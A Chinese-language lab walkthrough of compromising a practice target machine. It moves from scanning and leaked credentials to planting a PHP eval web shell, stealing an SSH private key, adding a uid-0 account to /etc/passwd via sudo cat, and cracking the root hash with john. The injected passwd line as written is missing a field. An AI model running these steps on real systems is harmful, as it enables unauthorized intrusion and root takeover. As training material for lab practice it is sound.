1.环境配置
先配置环境,由于靶机是静态ip所以kali也得设置成同一网段
靶机和kali都这样设置
2.信息收集
2.1 扫描网段
先nmap扫一下,发现有21,22,80端口
nmap -sV 192.168.2.120 -p1-65535 -A
2.2 80端口渗透
访问80端口看一下
右键源代码发现这样的信息,目前没发现登录页面,先暂放
<!-- username:logs password:zg]E-b0]+8:(58G -->
然后进行目录扫描,没什么线索
dirsearch -u "http://192.168.2.120"
尝试一下刚刚收集到的账号密码,不是ssh的,ftp成功登陆上来了
查看一下服务端文件,只有一个backup_log.php,将他下载到本地
get backup_log.php /root/桌面/s.php
打开后应该是个日志文件,结合之前的目录扫描,就能发现这么一个页面
由于是php的日志所以思路是想办法把一句话写入这个页面,看了下其他大佬的WP,得访问10001端口
telnet 192.168.2.120 10001
<?php eval($_REQUEST['asd']);?>
在这个页面把一句话写入,然后访问backup_log.php发现木马成功写入
2.3 SSH获取密钥
然后上蚁剑进行连接
连接后看下敏感文件,结合靶机有ssh服务,尝试读取密钥,发现可以读取
cat /media/USB_1/Stuff/Keys/id_rsa
通过查看/etc/passwd文件得到用户hbeale
然后将这个得到的密钥存到kali中
然后给这个key文件改权限(不改权限这个密钥就没法使用)
chmod 600 key
然后使用ssh进行登录
ssh hbeale@192.168.2.120 -i key
3. 用户提权
登陆后用sudo -l命令看看用哪种提权方式,发现cat命令可以用sudo执行
到这里有两种思路,因为可以通过root的cat命令读取文件,所以可以看/etc/shadow,也可以写入该文件
3.1 添加高权限用户
先说第一种,写入一个用户,然后将他加入到管理员
先使用命令生成一个带有盐值的密码
openssl passwd -1 -salt hacker stan2027
然后仿照/etc/passwd文件的格式将这个hacker用户加入到管理员,格式如下
hacker:$1$hacker$3.7OD0SDhAf7Pg4l1tqVu0:0:0:/root:/bin/bash
然后使用sudo命令将这个写入到/etc/passwd文件中
sudo /usr/bin/cat >> /etc/passwd
su hacker
成功登录到root
3.2 破解root用户密码
接下来是方法二,因为可以读取shadow文件,所以试图将root的shadow文件的密码进行破解
先创建一个文件,内容是root的加密密码,然后使用john解密
john pass --wordlist=/usr/share/wordlists/rockyou.txt
root的密码为formula1
然后使用ssh登录了半天登不上去...... sudo也切换不了
应该是设置了远程用户禁止登录,上靶机就连上来了